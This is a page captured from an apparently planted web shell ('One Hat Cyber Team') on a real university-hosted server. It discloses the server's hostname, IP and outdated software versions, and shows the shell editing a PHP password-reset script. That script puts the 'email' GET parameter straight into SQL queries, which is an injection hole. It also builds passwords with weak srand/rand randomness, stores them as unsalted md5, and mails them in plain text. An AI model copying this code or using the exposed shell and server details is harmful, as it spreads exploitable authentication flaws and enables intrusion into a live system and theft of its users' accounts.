One Hat Cyber Team

Your IP : 216.73.216.216

Server IP : 194.44.31.54

Server : Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64

Server Software : Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k

PHP Version : 5.6.40

Buat File | Buat Folder

Dir : ~/var/www/vhost/mathsociety.kiev.ua/seminar/

Edit File: renew.php

<?php
header("Content-type: text/html; charset=UTF-8");

$email=$_GET['email'];
// returns 0 if renewed
// returns 1 if no email found

require_once("sql.inc");

$query="select * from users where email='$email'";
$r=mysql_query($query);
if(mysql_num_rows($r) >0){
  $dat=mysql_fetch_array($r);
  mysql_free_result($r);
  $login=$dat['username'];
  $id=$dat['id'];
  // generate password
  $symbols='0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
  srand((double)microtime()*1000000);
  $password="";
  for($i=1; $i<=8; $i++ ){
    $randval = rand(0,62);
    $password.=substr($symbols,$randval,1);
  }
  $hash=md5($password);
  
  $message="Ви або хтось інший від Вашого імені надіслав запит на поновлення паролю для доступу до серверу математичних семінарів.\nВаш login: $login\nВаш новий пароль: $password\n";
  mail($email,"Seminar server password recovery",$message,"From: seminar-server@mathsociety.kiev.ua\nMIME-Version: 1.0\nContent-Type: text/plain; charset=utf-8\nContent-Transfer-Encoding: 8bit");
  $query="update users set username='$login', password='$hash', email='$email' where id='$id'";
  mysql_query($query);
  echo "0";
}
else{
  echo "1";
}
?>